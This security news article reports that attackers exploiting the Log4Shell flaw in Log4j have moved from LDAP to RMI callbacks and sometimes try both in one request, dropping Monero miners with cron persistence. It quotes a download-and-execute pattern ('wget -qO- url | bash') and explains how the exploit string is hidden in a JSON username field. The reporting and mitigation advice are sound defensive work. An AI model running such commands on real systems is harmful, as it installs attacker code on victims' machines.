Threat Actors Have Switched from LDAP Callback URLs to RMI in Order to Increase Their Chances of Success.
These past few days have been about the most important vulnerability discovered lately. The vulnerability, officially tagged as CVE-2021-44228 and called Log4Shell or LogJam, is an unauthenticated RCE vulnerability that allows total system takeover on systems running Log4j 2.0-beta9 through 2.14.1.
What Is Happening?
As reported by BleepingComputer, in order to increase their chances of success, some threat actors leveraging the Apache Log4j vulnerability have shifted from LDAP callback URLs to RMI, or even utilized both in a single request.
This move is a significant advance in the continuing attack, and companies must be aware of it when attempting to secure all potential channels. For the time being, this pattern has been detected by threat actors trying to hijack resources for Monero mining, but others may follow suit at any time.
The LDAP (Lightweight Directory Access Protocol) service has been used in the majority of attacks targeting the Log4j “Log4Shell” vulnerability.
At first, glance, switching to RMI (Remote Method Invocation) API appears counter-intuitive, given that this technique is subject to extra checks and limitations, but this is not always the case, but if we take into account that some JVM (Java Virtual Machine) versions may not have strict rules, RMI might be a more convenient way to do RCE (remote code execution) than LDAP.
Furthermore, LDAP queries are now firmly established as part of the infection chain and are being closely watched by defenders.
Many IDS/IPS solutions, for example, are now filtering requests using JNDI and LDAP, therefore RMI may be disregarded at this time.
Juniper detected both RMI and LDAP services in the same HTTP POST request in some situations.
This code invokes a bash shell command via the JavaScript scripting engine, using the construction “$@|bash” to execute the downloaded script. During execution of this command, the bash shell will pipe the attacker’s commands to another bash process: “wget -qO- url | bash”, which downloads and executes a shell script on the target machine.
This obfuscated script downloads a randomly named file of the form n.png, where n is a number between 0 and 7. Despite the purported file extension, this is actually a Monero cryptominer binary compiled for x84_64 Linux targets. The full script also adds persistence via the cron subsystem.
A different attack, also detected by Juniper Threat Labs, tries both RMI and LDAP services in the same HTTP POST request in hopes that at least one will work. The LDAP injection string is sent as part of the POST command body. An exploit string in the POST body which is unlikely to succeed given most applications do not log the post body, which can be binary or very large, but by tagging the string as “username” in the JSON body, the attackers hope to exploit applications that will treat this request as a login attempt and log the failure.
Source
It looks like the threat actors are interested in mining Monero on compromised systems and offer it as a seemingly harmless activity that “ain’t going to hurt anyone else.”
The miner is designed for x84 64 Linux computers and has persistence using the cron subsystem.
Although the majority of assaults have so far targeted Linux systems, CheckPoint states that its investigators uncovered the first Win32 program that uses Log4Shell, dubbed ‘StealthLoader.’
Upgrade Log4j to version 2.16.0 is the only viable option to fight against what has become one of the most significant vulnerabilities in recent history.
Additionally, administrators should keep a watch on Apache’s security area for new version announcements and implement them as soon as possible.
Source: https://heimdalsecurity.com/blog/monero-miners-injected-in-log4j-through-rmi/?web_view=true
